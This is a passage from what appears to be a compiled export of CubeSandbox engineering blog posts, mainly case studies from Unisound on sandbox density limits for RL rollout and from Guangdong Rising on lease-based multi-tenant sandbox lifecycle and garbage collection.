evaluation: * **Deployment boundaries**: Financial institutions often require applications to run in designated cloud environments, private networks, or customer-side infrastructure. Managed sandboxes like E2B Cloud cannot cover these requirements. CubeSandbox can be deployed in self-owned environments and customer-side nodes, with both forms maintaining similar APIs and runtime models. * **API compatibility**: BWA's Sandbox adapter is based on E2B-compatible API, and CubeSandbox preserves this interface model. Sandbox creation, file operations, command execution, and dynamic access can use existing SDK conventions. Local deployment and API compatibility are two independent dimensions — the execution environment is operated by the team or customer, while the upper-layer runtime still uses mature SDK contracts, reducing proprietary adaptation code. This combination also preserves clear boundaries for future version upgrades. * **Data-plane completeness**: Self-built container execution layers need to implement templates, instance lifecycle, dynamic access, shared resource mounting, egress proxy, and credential management independently. CubeSandbox already provides these base components, so BWA can focus on Agent product semantics. Host Mount and CubeEgress are especially directly useful for current business. The former handles versioned domain resource distribution, the latter handles credential boundaries for model and tool services. Both capabilities have entered the production runtime chain — the selection value materializes in the concrete architecture. * **Maintenance responsiveness**: The CubeSandbox maintenance team responds promptly to technical issues, with relatively frequent version updates, and issues quickly enter investigation and communication. * **Startup speed and overhead**: Current tasks consist of model inference, data access, code processing, and file generation. The main time consumption for a single run usually comes from model and tool calls. CubeSandbox's startup speed and runtime overhead meet current task requirements. ## 6. CubeSandbox Exploration and Optimization Experience in Productionization After actual operation in central environments and customer-side projects, the supporting work during productionization mainly focuses on lifecycle and host data plane. Some practices and optimizations worth sharing: * **seccomp compatibility issue with pause/resume**: When enabling sandbox auto-pause, a seccomp compatibility issue occurred. The affected environment currently has auto-pause disabled, retaining normal idle reclamation. As a density optimization feature of Cube, `pause/resume` needs separate evaluation under the conservative kernel configurations of financial scenarios — it cannot be enabled by default. * **CoreDNS restart affecting Egress policy routing**: CoreDNS or system network service restarts can affect dynamic domain names and Egress policy routing. CubeEgress's egress injection depends on the stability of DNS resolution and policy routing — DNS-layer jitter directly propagates to the Egress chain. We've added linkage recovery and periodic validation, rather than relying on a single configuration taking effect. * **Control plane healthy ≠ data path clear**: Control plane health checks cannot cover the complete data path — CubeSandbox control plane reporting healthy doesn't mean the full chain of Sandbox creation → file writes → resource mounting → real Egress is working. Our release verification has expanded to end-to-end validation: Sandbox creation → file writes → resource mounting → real Egress → task completion → reclamation. Any link failure is treated as release failure. * **Major version upgrades require re-verifying host configuration**: After CubeSandbox major version upgrades, lifecycle parameters, Proxy configuration, and custom entry points need to be re-applied and verified. These configurations are scattered across multiple host locations, and upgrade scripts don't automatically preserve them — currently requiring manual checklist verification. CubeSandbox combines open-source deployability, E2B-compatible API, Host Mount, and CubeEgress into a complete sandbox infrastructure, enabling 4as to use the same Agent runtime for both customer-side deployments and the upcoming Cloud service. The long tasks, versioned domain resources, and controlled external access of research Agents demonstrate CubeSandbox's ability to carry a complete Agent runtime beyond single code execution. As 4as serves more financial investment and research institutions, CubeSandbox will continue as the core execution foundation for this product. *Thanks to Wang Zhengkai of Hongze Midao for contributing to this content.* --- --- url: https://cubesandbox.com/blog/posts/2026-09-01-unisound-rl-rollout.md description: >- Agent RL rollout places different demands on sandboxes than ordinary Agent services: every trajectory needs a clean, isolated execution environment; lifecycles are minute-scale; volume is massively parallel; and the sandbox may run arbitrary model-generated code. Based on a 128-core 251 GiB machine and 1-core 4096 MiB sandbox specs, the Unisound team derived three sets of numbers: a scheduling ceiling of 117, a no-oversell safety boundary of 58, and a measured steady state of 80-100. This article records the full process from spec configuration and scheduling parameter derivation to measured bottlenecks. --- # Unisound Engineering Practice: Stress-Testing CubeSandbox Density Limits for RL Rollout By｜Unisound Atlas Intelligent Computing Team **Editor's note:** Agent RL rollout places different demands on sandboxes than ordinary Agent services — every trajectory needs a clean, isolated execution environment, lifecycles are minute-scale, volume is massively parallel, and the sandbox may run arbitrary model-generated code. When nominal parameters land in real engineering practice, they are often shaped by workload characteristics, scheduling parameters, resource overselling, runtime peaks, and more. In their practice of using Cube to support SWE Agent rollout and RL environment training, the Unisound team — on a 128-core 251 GiB machine with 1-core 4096 MiB sandbox specs — derived three sets of numbers: a scheduling ceiling of 117, a no-oversell safety boundary of 58, and a measured steady state of 80-100. This article records the full process from spec configuration and scheduling parameter derivation to measured bottlenecks, along with the problems encountered in production and their solutions. ## 1. RL Rollout Workload Characteristics and Selection Considerations What we support with Cube Sandbox is Agent trajectory rollout, split into two types of workloads: One is SWE Agent data synthesis — having agents batch-solve problems in real code repositories to produce training data; the other is Agent RL environment training, where the reinforcement learning stage requires massive parallel episodes interacting with environments. This kind of workload has several distinct characteristics that largely determine the technology selection: every trajectory needs a clean, isolated, reproducible execution environment; lifecycles are short, typically minute-scale; volume is enormous — massively parallel. More critically, the sandbox runs arbitrary model-generated code whose behavior is unpredictable — infinite loops, memory leaks, fork bombs, anomalous network calls can all occur — making "secure isolation" a hard requirement for us. For this kind of workload, throughput matters more than steady-state residency. Trajectory lifecycles are short, so sandboxes are created, executed, and destroyed far more frequently than long-running services — a single node needs to handle tens to over a hundred creation requests per second. Correspondingly, the Cubelet workflow concurrency is configured at 100 each for creation and destruction; combined with Cube's millisecond-level startup, this throughput level is supportable. Our core judgment during selection was the difference in isolation boundaries. Cube Sandbox's isolation boundary sits at the hardware virtualization layer — each sandbox is an independent KVM MicroVM with its own kernel. This is its most essential difference from the other options we evaluated. Docker's isolation boundary sits at namespaces and Cgroups, sharing the host kernel. **For scenarios executing untrusted code, this difference determines whether you can go to production**: namespace and Cgroup isolation carries escape risks when an Agent executes arbitrary code, while MicroVM's hardware-level boundary prevents the Agent from affecting the host environment. For each of our core requirements, Cube has a corresponding capability design. **Secure isolation**: MicroVM's hardware-level boundary satisfies untrusted code execution. **Fast startup**: large-scale rollout needs environments created in seconds or even milliseconds — Cube pre-bakes templates into immutable rootfs images and pre-stores memory snapshots locally on each node, so starting a sandbox goes through local reflink cloning rather than cold boot; the officially stated cold start is at the 60 ms level. **Environment reproducibility**: a template is an immutable ext4 binary artifact, with the same copy distributed to all nodes, avoiding behavioral drift caused by image-layer caching or host differences. **Resource control**: CPU, memory, and network all have constraint mechanisms, with Cgroup and VM boundaries taking effect in two layers and the scheduler doing unified accounting. **High concurrency**: Cube's single-node software design ceiling is 3,000 live sandboxes. Cube also natively supports **full memory-plus-disk snapshots** — MicroVM snapshots can fork from any intermediate state, which directly affects sample efficiency in RL training. That said, we haven't yet put the snapshot layer of capability to deep use. The business side integrates entirely through the E2B SDK. Cube's sandbox API is compatible with the E2B protocol, so the training-side scheduling code needed no special adaptation — a bonus point during our selection. However, this compatibility brings one behavioral detail worth noting: the e2b SDK's default command execution is "bash -lc command" — it first launches a brand-new Bash login shell, then executes the specified command inside it. For single executions this default is fine, but if a task itself runs in two phases (say an evaluation preparation pass followed by the evaluation proper), the problem surfaces in the second phase: every command execution launches a fresh login shell, so environment variables, PATH, and other state set in phase one don't carry over to phase two, leaving the two phases with inconsistent environments. The root cause here is not Cube itself but the E2B SDK protocol's default execution mode — once you confirm commands run through a login shell, the symptom is fully explained. Our workaround is to explicitly re-set the environment variables that need to persist between the two phases, rather than relying on shell state carrying over automatically. ## 2. Separated Control Plane and Compute Plane Architecture Our deployment form is 1 control node plus N compute nodes, with the control node itself also participating in computation. The control node carries Cube's complete control plane: cube-api listens on port 3000 as the SDK entry point; CubeMaster listens on 8089, handling scheduling, the template center, and lifecycle management; cube-lifecycle-manager drives AutoPause; cube-proxy and coredns handle sandbox port exposure; the webui runs on 12088; plus two dependency components, MySQL and Redis. The control node itself also runs network-agent and cubelet, so it's not just the control plane — the machine hosts sandboxes too. Compute nodes, by contrast, are light: they run only network-agent and cubelet, registering to the control plane via `ONE_CLICK_CONTROL_PLANE_CUBEMASTER_ADDR=:8089`. Once registered, CubeMaster issues sandbox creation and destruction commands to them over gRPC on port 9999. ![Control plane / compute plane node responsibility split](./assets/2026-09-01-unisound-rl-rollout/01-control-compute-split.jpg) *Figure 1: Control plane / compute plane node responsibility split* **The template distribution design is key to performance: templates are not placed in shared storage — CubeMaster actively distributes a replica to each compute node.** CubeMaster first bakes the OCI image into an ext4 rootfs, then actively pushes it to every compute node; upon receiving it, each node runs a VM locally once more and retains a memory snapshot. Because this replica is already local, starting a sandbox can go through purely local FICLONE cloning with zero network IO — the precondition for millisecond-level startup. The corresponding cost is that every compute node needs a large enough local disk to store these replicas. Storage configuration must also cooperate with this design: `/data/cubelet` must use XFS with reflink enabled, because the cubecow storage engine depends on FICLONE and will refuse to start on non-XFS; template images and memory snapshots go on a separate disk, which has no filesystem restrictions. ## 3. From Scheduling Parameters to Measured Steady-State Density We currently run Cube v0.6.0 on two dual-node clusters (one control + one compute each), with 128 cores and 251 GiB per machine. Sandbox specs follow the actual needs of the SWE agent: 1 core, 4096 MiB memory, 10 GiB writable layer. From the sandbox specs and CubeMaster's scheduling parameters, we derived two key numbers: a single-node concurrency ceiling of about 117, and about 234 for two nodes — with the bottleneck on the memory side. Here's how the ceiling is computed: scheduling parameters are set to 10 GiB memory reserved, 2× memory oversell ratio, and 3× CPU oversell ratio with utilization capped at 80%; a single sandbox at 1 core / 4096 MiB spec actually occupies about 4202 MiB of memory. Dividing the two numbers, the memory dimension supports 117 sandboxes, while the CPU dimension theoretically supports up to 306 — taking the smaller of the two, memory is the binding constraint. To understand the number 117, you first need to understand what "oversell" means here. A 2× memory oversell ratio means the scheduler accepts orders totaling 2× the physical memory: this machine has only 241 GiB of physical memory, but the scheduler hands out quota as if it had about 480 GiB. With no overselling at all, the number of sandboxes a single node can run should be physical memory divided directly by per-sandbox occupancy — 241 GiB ÷ 4.2 GiB ≈ 58. This 58 is the safety boundary where we rely on no assumptions and can guarantee no OOM; 117 is the paper ceiling the scheduler allows us to risk accepting. The gap between 58 and 117 is essentially trading oversell for density — the machine cannot actually hold the memory demand of 117 sandboxes at once. Whether the paper ceiling of 117 can actually be realized depends on one key assumption: sandboxes won't all max out their 4 GiB of memory simultaneously. This assumption holds most of the time, because Cube's MicroVM uses lazy paging — when a sandbox is idle or waiting for an LLM response, its actual memory usage (RSS) is far below the nominal 4 GiB. But once sandboxes enter compile, dependency-install, or test-run phases typical of SWE scenarios, memory usage quickly climbs toward the 4 GiB limit and the assumption breaks. So our measured result: in steady state, a single node reliably sustains 80-100 concurrent sandboxes, and two nodes about 160-200 — lower than the paper 117/234. The reason is straightforward: whenever a batch of sandboxes hits the compile-phase memory peak at the same time, the host's physical memory is exhausted before the scheduler's paper numbers are. ![Density derivation ladder](./assets/2026-09-01-unisound-rl-rollout/02-density-derivation.jpg) *Figure 2: Density derivation ladder* Now look at the CPU side: 117 sandboxes at 1 core each sum to 117 cores, against only 128 physical cores on this machine — 91% utilization. In other words, when the memory side hits the 117 ceiling, the CPU side is nearly saturated at the same time; both resource dimensions top out almost simultaneously. This shows the current sandbox spec (1 core with 4096 MiB) matches the machine's physical configuration (128 cores with 251 GiB) — neither side is obviously overprovisioned while the other jams early. ## 4. Bottlenecks Observed During Stress Testing We hit three categories of bottlenecks during stress testing. They behave differently and must be identified separately — otherwise they're easily lumped together as "not enough resources" and misdiagnosed. **The first category is memory oversell actually being cashed in** — the moment when the "space between 58 and 117 bought with oversell" mentioned earlier finally collapses. Its symptom: the host's available memory keeps declining until exhausted, then OOM triggers and the OS directly kills processes to free memory. This typically happens when concurrency approaches 117 and a batch of sandboxes happens to hit compile-phase peaks simultaneously — the scenario where the assumption that "sandboxes won't max out 4 GiB at the same time" breaks. One distinction must be made clear: when CPU oversell tops out, sandboxes just slow down and no process is killed; when memory oversell tops out, the OS kills processes outright. These are signals of entirely different natures and must not be conflated. **The second category is disk watermarks causing the scheduler to exclude the node.** CubeMaster continuously monitors the usage of several critical disks on each node; as soon as any one of them exceeds 80%, the node is marked as no longer accepting new sandbox creation requests, and new sandbox creation fails with error code 130597 (no more resource). What makes this easy to misjudge: the node still shows HEALTHY on the monitoring dashboard while actually already rejecting new sandboxes. So when you see 130597, the first reaction should be to check disk watermarks, not node health. We hit this early on: the cube-snapshot component on a single node wrote the system disk to 83%, triggering exactly this error code. One capacity number needs clarifying here: each sandbox's writable layer caps at 10 GiB, so 117 sandboxes would theoretically occupy 1.14 TiB in the worst case — but that's only a worst-case estimate; the actual copy-on-write (CoW) space used is usually far smaller. The rule that must be followed: writable layers must live on the data disk, not the root disk where the system resides — otherwise you'll easily reproduce the pit we stepped into. **The third category is concurrency contention during creation bursts** — this one is completely unrelated to whether the live sandbox count is maxed out; it can trigger even when the current live count is far below 80-100. The specific scenario: when a large number of creation requests are issued simultaneously in a short window, requests stall at the step where network-agent allocates tap devices, manifesting as unix socket communication timeouts, with the SDK receiving 500 errors. Our measured result: a single node completes about 20 simultaneous creation requests normally; beyond that, it reliably stalls at this step. Two easily confused concepts need distinguishing here: "stably hosting 80-100 sandboxes" and "concurrently creating 80-100 sandboxes at the same moment" are not the same thing — residency is a total maintained over a period of time, while creation is an instantaneous concurrent action, and creation requests themselves must be queued. The two pressure models are completely different. ![Comparison table of the three bottlenecks](./assets/2026-09-01-unisound-rl-rollout/03-bottleneck-comparison.jpg) *Table 1: Comparison table of the three bottlenecks* ## 5. Evaluating the AutoPause Density Lever — and Choosing Conservatively Beyond identifying the bottlenecks above, we also evaluated a lever that could further increase density: AutoPause. Its starting point: during Agent trajectory execution, most of the time is actually spent waiting for LLM inference results; the sandbox is idle during this wait, yet under the current scheduling model, idle sandboxes still occupy their full resource quota. The AutoPause mechanism, available since Cube v0.5.0, snapshots a long-idle sandbox to disk, then shuts down the corresponding MicroVM to release physical resources, waking it in milliseconds when a new request arrives. The parameter controlling this mechanism's density effect is `paused_resource_release_ratio` in the Cubelet configuration, defaulting to 0.0. The default means: after a sandbox is paused, even though its physical CPU and memory have been returned to the host, the scheduler's books still count it as fully occupied — so density does not improve just by enabling AutoPause. We evaluated raising this parameter to 0.7-0.8: with agent trajectories active roughly 20% of the time, paper density could theoretically rise 3-4×, equivalent to 350-470 sandboxes per node. But this improvement comes at a cost: after raising it, resume becomes best-effort — if the node is transiently short on resources, it directly returns a 409 error, meaning wake-up is no longer an operation with guaranteed success. We haven't yet built "automatic retry after resume failure" into a stable policy on the RL training side, so we haven't adjusted this parameter for now — `paused_resource_release_ratio` stays at its default 0.0. Fortunately, the parameter supports hot reload and can be adjusted without restarting the service; when training scale genuinely requires higher density later, we can re-evaluate. ## 6. Closing Thoughts RL rollout scenarios differ from ordinary Agent services in three density requirements: trajectory lifecycles are minute-scale, so creation throughput matters more than steady-state residency; compile and test phases max out nominal memory, leaving limited oversell headroom; trajectories spend most of their time waiting for LLM returns, so density has theoretical room to grow — but it takes supporting fault tolerance to cash in. The corresponding bottlenecks fall into three categories with distinct symptoms: when memory oversell is cashed in, available memory is exhausted and the host OOMs; when disk watermarks exceed thresholds, the node is removed from scheduling; during creation bursts, requests stall at network-agent's tap fd allocation. The three categories must be identified separately to locate the right adjustment direction. Our practice follows three steps: first, derive the theoretical ceiling from sandbox specs and scheduling parameters to confirm which resource dimension the bottleneck lands on; then distinguish the meanings of the three numbers — safety boundary, paper ceiling, and measured steady state — clarifying whether each gap comes from oversell headroom or load peaks; finally, for every density feature, evaluate benefits against costs first, keep defaults until supporting fault tolerance is ready, and adjust once conditions are met. *Thanks to the Unisound Atlas Intelligent Computing Team for their contribution to this article.* --- --- url: https://cubesandbox.com/blog/posts/2026-09-03-guangdong-rising.md description: >- Creating a sandbox takes a single API call. Deleting one requires answering a string of questions: does it still have an active session? Is this cleanup request a latecomer? Who collects sandboxes left behind by crashed replicas? The Guangdong Rising team consolidated the sandbox capabilities of two product lines into a standalone service — the sandbox execution layer of the SIN PaaS (AI platform) — and answered these questions with leases, fencing tokens, tri-color mark-and-sweep collection, and admission control. --- # Who Has the Right to Delete a Sandbox: Building a Multi-Tenant Sandbox Platform on CubeSandbox By｜Senior Algorithm Engineer, Guangdong Rising · Feng Jiaqi **Editor's note:** Creating a sandbox takes a single API call. Deleting one requires answering a string of questions: does it still have an active session? Is this cleanup request a latecomer? Who collects the sandboxes left behind by crashed replicas? Guangdong Rising runs AI-Agent-generated code on two product lines (SIN Builder and Dasheng AI). The team consolidated sandbox capabilities into a standalone service — the sandbox execution layer of the Guangdong Rising SIN PaaS (AI platform) — and answered the questions above with leases, fencing tokens, tri-color mark-and-sweep collection, and admission control. This article records the full journey of this governance system: from two separate implementations, through one leakage incident, to final convergence. ## The Starting Point: Two Implementations and One Incident Before choosing Cube Sandbox, we had four problems to solve: 1) each of the two product lines had written its own sandbox capability — they were not interchangeable, with inconsistent lifecycles, leases, and reclamation policies, making issues hard to locate and hard to govern; 2) Agent sessions are long-lived and stateful, and the same session must reuse the same sandbox, which requires leases and fencing tokens designed at owner granularity — otherwise a late cleanup request would directly delete the new generation's lease and kill a running session; 3) under multi-replica deployment, quota and reclamation are hard to satisfy at both ends: you can neither garbage-collect a running sandbox nor let sandboxes left behind by crashed replicas leak forever; 4) sandbox cold-start latency translates directly into user wait time, and masking it with a self-built warm pool carries high maintenance and consistency costs. The first problem persisted for a long time. Dasheng AI (an enterprise-grade AI assistant, internal codename dasheng-next) had embedded sandbox capability into its product code since May 11, 2026; sin-builder-core, the backend of SIN Builder (an AI application generation platform), only integrated Cube Sandbox (hereinafter "Cube") independently in early-to-mid June, with our own runtime integration and event parsing logic. The two lines evolved separately and never converged. What finally forced the consolidation was an incident on June 18, 2026. That incident took the form of a death spiral. The internal investigation report identified the root cause as a blocked write path in cube-api / CubeMaster: when the incident occurred, 704 sandboxes had accumulated on the platform, all in running state with endAt equal to startedAt (never renewed since creation); on the host, 732 containerd-shim-cube-rs runtime processes occupied 304 GB of memory in total — 385 of them from the idle warm pool, and another 319 with no session ownership, belonging to 5 historical instances that no longer existed. The read path `GET /sandboxes` worked fine, returning in seconds; but the write path — POST and DELETE — all timed out with 408. The reclaimer identified 216 sandboxes pending cleanup every round, yet the actual deletion count was 0 — kill failed 1,359 times, create requests failed 10,214 times, all 408. **This formed a closed loop: sandboxes left by historical instances kept accumulating, the sheer volume crushed write operations, create and kill both timed out, old sandboxes could neither be deleted nor replaced with new ones, the platform was dragged down further, and both product lines became unavailable at the same time.** This incident had three direct impacts on subsequent design. First, the 385 leaked sandboxes came from the idle warm pool, proving the warm pool was the biggest leakage source — and a month later, we measured Cube's official hot-start at sub-second level, so the warm pool was retired entirely. Second, the 5 historical owner instances and 319 unowned sandboxes showed we lacked a single accounting authority — the first problem the new standalone service had to solve. Third, during post-incident reconstruction we confirmed two hardening items: write operations need circuit breaking, and GC kill must not be serially awaited. ## Convergence: The Only Sandbox Boundary One week after the incident, we built common-sandbox-runner, a standalone FastAPI service on top of Cube Sandbox, to consolidate sandbox capabilities. It is the sandbox execution layer component of SIN PaaS. * SIN Builder and Dasheng AI are deployed in the same K8s cluster as the runner, under different namespaces. They call the runner through a single interface, `POST /v1/sandbox-runs` (which streams started, progress, and completed events over SSE). They hold no sandbox state themselves and never access Cube directly. * The runner is the only side of the entire system that writes to Cube. It is currently deployed as a single replica, and the pod holds no authoritative state — leases, admission counts, GC candidate lists, and all other cross-request state live in Redis. Multi-replica safety is already supported by design. * The Cube platform and the runner are deployed on the same node. See the dashed lines in the diagram below for platform-side behavior: the sweeper triggers pause based on endAt, without checking whether any command is executing inside the sandbox. ![Deployment and call relationships](./assets/2026-09-03-guangdong-rising/01-deployment-topology.jpg) *Figure 1: Deployment and call relationships* Every request carries a namespace (product/team boundary) plus an env (dev/staging/prod), from which the runner derives a unified `owner_id` and writes it into the sandbox's metadata. Whether for cleanup, cancellation, or troubleshooting, everything is looked up with the same predictable key format, and every sandbox can be traced back to a concrete owner. The specific rule: unless the caller explicitly specifies otherwise, `owner_id` is concatenated in a fixed order from namespace, env, project ID, and session run ID — human-readable. For business sandboxes, the runner writes namespace, env, `owner_id`, and `managed_by` together into the sandbox metadata. The payoff is most obvious during troubleshooting: pick up any business sandbox and, without querying any internal state, you can read directly from its metadata which product line, which environment, and which session it belongs to. Templates use a dual-template design — one main template plus one lightweight template; callers can override with `template_id` to pick an image based on the task's resource footprint. On the Cube side, we call the official SDK's create and connect directly, without wrapping another self-built abstraction; lifecycle configuration uses `on_timeout=pause` plus `auto_resume`, so idle leases enter a "soft-reserved" state instead of being killed outright, and the session restores its state when it comes back. At three moments — create, reconnect, and the heartbeat of an active run — we call `set_timeout()` to renew and validate the returned endAt; if renewal fails, we proactively terminate the run rather than let it keep running with an uncertain lifetime. From acceptance to completion, a run follows a fixed sequence: * **Before started**, an admission slot is acquired atomically via a Redis Lua script — bucket-level quota and global cap are checked together, with a maximum wait of 30 seconds; on timeout it returns a retryable CAPACITY\_EXCEEDED. The key here is merging "check the quota" and "hold the quota" into one atomic operation: a single Redis Lua script executes "read count, compare limit, increment if passed" on the server in one shot — the bucket limit is always checked, and the global cap is checked when the global gate is enabled — leaving no window for any other request to slip in between, so even under multi-replica concurrency, two requests can never both see "one slot left" and oversell. Releasing a slot also goes through an atomic script: if creation fails, it rolls back on the spot; for a successfully created sandbox, the slot is released together with the owner record only after confirming the sandbox truly no longer exists, and any count accidentally left behind in between is swept up by the GC as a fallback. After getting a slot, if an existing owner lease is hit, we connect to reuse the same sandbox; otherwise we create a new one. After obtaining the sandbox, we also run a data-plane health probe (3 outer retries × 3 inner retries): between create returning and the data plane actually becoming usable there is an activation delay of several to a dozen seconds, and sandboxes that fail the probe are discarded and rebuilt — we never keep running with a sandbox whose usability is uncertain. * **From started to progress**, the workspace and context are written in, and the entry process is launched in detached mode via nohup, so short commands return immediately. * **From progress to completed**, a single-loop, strictly serial poll runs: scan artifact increments, send progress events, read `entry.exit` to determine completion, check cancellation flags and the deadline, heartbeat every 30 seconds while rebasing endAt along the way. No matter which exit the loop takes, a finally block always executes an idempotent pkill, ensuring no residual processes remain. ![SSE sequence of a run](./assets/2026-09-03-guangdong-rising/02-run-sse-sequence.jpg) *Figure 2: SSE sequence of a run* This "detached launch plus strict serialization" design was earned from a pitfall we hit on Cube. The early implementation was "blocking long commands plus concurrent polling" — both acting on the same sandbox at once would make envd block each other, once causing `app_generation` to hit ReadTimeout or hang. We first disabled the file stream by default, and only re-enabled it after switching to detached launch plus strict serialization. This flow solves "how a run finishes," but a more fundamental question remains: **how does the same session guarantee it always finds its own sandbox — and only its own? That relies on the lease mechanism.** These two interfaces are our own design, with deliberately narrow semantics. On the acquire side: `POST /v1/leases` carries `owner_id` (along with namespace and env); the caller may also attach a self-generated `lease_id` for each generation of the session, serving as an epoch marker for conditional release. If this owner already has a live lease and the template is compatible, the interface returns the same `sandbox_id` marked reused=true — when a session resumes, it gets back the exact same sandbox. On the release side: `POST /v1/lease-releases` must carry both `owner_id` and `lease_id`; only when this pair exactly matches the generation (epoch) currently held by the server will the sandbox actually be killed and the slot released (cleanup completes asynchronously). On mismatch, only that expired generation is sealed off as void — it never falls back to "delete the current lease." This rule solves exactly the problem mentioned earlier — a late cleanup request may hit a situation where the old lease has expired and a new generation has taken over the same session; deleting without validation would kill the sandbox the new generation is actively using. After introducing epoch matching, this problem disappeared completely. ## Safe Reclamation: Tri-Color Marking and the Division of Labor with the Official Lifecycle Our rewritten reclaimer borrows the idea of tri-color mark-and-sweep with generational grace periods from the JVM and Go. * Black is the root — runs, leases, and operation locks with fresh heartbeats are never reclaimed; * Gray marks sandboxes within their grace period — deletion forbidden; * White — only sandboxes with no root reference for two consecutive confirmation cycles and an unchanged generation number are actually swept. ![Tri-color mark-and-sweep illustration](./assets/2026-09-03-guangdong-rising/03-tri-color-marking.jpg) *Figure 3: Tri-color mark-and-sweep illustration* Before sweeping, a distributed lock is acquired for each sandbox, then generation and the root set are double-checked; only after the kill succeeds or the query returns 404 is the owner metadata deleted and the corresponding admission quota released. Of the four parameters, only the 30-second heartbeat is a self-defined cadence; the other three are derived from it: black-root determination at 120 seconds (4× heartbeat, tolerating 3 consecutive misses), newborn grace period at 180 seconds (3× the GC cycle, covering data-plane activation delay), and confirmation over 2 consecutive cycles (a single listing cannot be trusted — the platform may omit paused sandboxes). ![The four reclaimer parameters and their rationale](./assets/2026-09-03-guangdong-rising/04-gc-parameters.jpg) *Table 1: The four reclaimer parameters and their rationale* **This reclaimer was honed through three rounds of incidents sharing the same root cause — it was not designed correctly in one shot:** The first round was a production incident on July 13, 2026: a sweeper failure left 100 zombie sandboxes (93 of them paused, with endAt overdue by 23 to 41 hours) occupying the full quota, making every sandbox-dependent feature unavailable. This gave birth to the endAt overdue fallback — beyond a 1,800-second grace period, do a best-effort kill and release the accounting. **The second round had the same root cause as the first but recurred in a different form.** Our GC had a rule: "as long as a sandbox still holds a lease, treat it as a root object and never reclaim it." The rule was meant to protect sandboxes in use, but it failed to consider that the lease itself might have already expired. Compounded by the Cube platform returning paused sandboxes in the sandbox listing (so our force-kill logic never reached them), the end result was that paused sandboxes with long-expired leases were perpetually judged "root objects, undeletable," with 85 and 173 expired zombies piling up on the two product lines respectively. Our fix was to split the "should it be reclaimed" decision from the "mechanism" layer into a "policy" layer: each resource bucket explicitly declares its own retention period (in seconds), and only when all three conditions hold simultaneously — the bucket's retention period is greater than 0, the sandbox is indeed in paused state, and it has exceeded the retention period — is it judged reclaimable; in all other cases the original "never reclaim" behavior is preserved. **The third round was a subtler self-locking problem.** Our GC relies on "the most recent successfully fetched listing" as the reconciliation baseline. If the fetch fails or the result looks abnormal (say the listing suddenly goes from non-empty to empty), the GC skips that round, does nothing, and retries the next round. But one edge case turns this protection into a trap: when the last sandbox in the system triggers auto-pause normally, the listing drops from "one" directly to "zero." This data shape looks identical to "the Cube platform is completely unreachable and no listing can be fetched" — the two situations are indistinguishable to us. The original logic kept skipping reconciliation whenever it saw this "suspected disconnect," and once quota ran out, no new sandbox could come in to unlock the state. The fix is to cap the number of "skips" (3 consecutive rounds by default); beyond that, reconciliation is forcibly resumed and a log is recorded. The "blind" window in between is covered by querying individual sandbox statuses as a fallback. The same round of changes also added a reverse test: let an idle lease go through two confirmation cycles, then assert "the number of renewals during this period must be 0," preventing the GC from casually renewing idle sandboxes during scans. Once renewed, that sandbox would never be handled by the official autoPause. The impact of resume on admission counting: resume-then-kill currently lives only on a branch and hasn't been merged into main. The background: Cube v0.5.1 refuses DELETE on paused sandboxes (error code 130593); waking via connect() works under normal circumstances but is best-effort — a single transient failure makes kill keep returning 500, and that sandbox may survive every GC round. One key question can be answered directly here: resume does not cause admission counts to overflow, because counting is per owner record — a paused sandbox never releases its slot, and killing it after wake-up is not double-counted; a slot is released only after kill succeeds or 404 is confirmed. But physical resources are briefly occupied — 2C/2G per sandbox; waking and killing all currently backlogged paused sandboxes one by one would transiently occupy 212 vCPU / 217 GB, which is exactly why we hope the platform will directly support DELETE on paused sandboxes. ![Overall evolution roadmap](./assets/2026-09-03-guangdong-rising/05-evolution-roadmap.jpg) *Table 2: Overall evolution roadmap* ## Three Outcomes After Adopting Cube Sandbox The reclamation mechanism solves how to safely release a sandbox after it's used, but before a sandbox is even created, a gate is needed to control how many can be opened simultaneously. We implement admission control with Redis-backed admission counting: bucket-level quotas by namespace and env plus a global gate, with separate default capacities for test and production environments, a maximum wait of 30 seconds per request, and multiple replicas acquiring and releasing against the same counters. Since this mechanism went live, there have been three fairly direct outcomes: **First, sandbox startup latency dropped significantly.** Measured hot-start from baked templates: median 180 ms, P95 at 210 ms, and cold start consistently within one second. Precisely because official startup is fast enough, we retired our self-built warm pool entirely. **Second, architectural complexity dropped significantly.** Retiring the warm pool plus switching sandbox scripts to pre-baking removed about 1,350 lines of code net in this round (193 added, 1,542 deleted), with the sandbox runtime's core file alone shrinking by 650 lines — WarmPool, PoolRegistry, pool branch logic, the `skip_pool` switch, the entire stateful chain was removed. The sandbox logic previously written separately by the two product lines converged into 1 shared service, guarded by 198 test cases. **Third, the admission logic limit was relaxed from 200 to 500 sandboxes, breaking the quota deadlock caused by zombie leases** — without adding any extra machine resources. A clarification on the number "500": first, 500 is the logical limit of the runner's own admission gate, not the real capacity limit of a single Cubelet node, which we have not tested. Second, we have not done stress testing — 500 was not derived from stress tests, nor have we done layered stress testing across CPU, memory, network, and scheduling, so we cannot give real bottleneck data. The only known figure is 2C/2G per sandbox; the true limit depends on the physical capacity of the Cube cluster, which we have never approached — all capacity-type errors on the Cube side in production are CapacityExceeded thrown by the runner's admission gate, rooted in zombie leases occupying the accounting, not Cube reporting insufficient resources; the 106 zombie sandboxes mentioned earlier, 212 vCPU / 217 GB, stayed on the cluster for up to 32 days without any platform-side alert. The current deployment is single-replica, daily scale is within a thousand sandboxes, and the 500 limit has never been truly approached. ## Conclusion Looking back: our two product lines each implemented their own sandbox logic for five and a half weeks; one leakage incident pushed us to extract the service within two days, complete the overall switchover in another two and a half weeks, and finally spend four days intensively refactoring lifecycle management. The current production reality (data as of 2026-08-13): 106 sandboxes, all paused, none running, the longest resident for 32 days; the GC runs normally, but only 4 candidates actually meet the reclamation criteria — not because the GC is broken, but because the default per-bucket retention period is 0 (never reclaim, to avoid affecting legacy usage), and the buckets these sandboxes live in happen to have never declared a retention period, so they accumulated up to the quota limit. The price of this conservative "never reclaim by default" choice was a month of accumulated zombie sandboxes. The truly hard part of a sandbox platform has never been how to create a sandbox, but how to safely delete one. Every "delete or not" judgment must find a defensible boundary between two risks: killing a session that's still in use, and letting leaks run free. *Thanks to Feng Jiaqi of Guangdong Rising and his team for their contribution to this article.* --- --- url: https://cubesandbox.com/blog/posts/2026-09-17-huajiao.md description: >- Most teams adopt an Agent sandbox thinking 'we need isolation, so let's add a sandbox.' The Huajiao team worked in a different order: they first designed the Agent platform as a configurable execution-environment abstraction, where the sandbox is just one option — each Agent decides whether to use it based on its own isolation needs. This article records how that thinking landed: from organization-level isolation decisions, to contributing the Go SDK, hunting down a snapshot-restore bug in host-mount scenarios, and redefining a terminal protocol on top of CubeSandbox. --- # Sandbox as an Option, Not a Default: Huajiao's Agent Platform 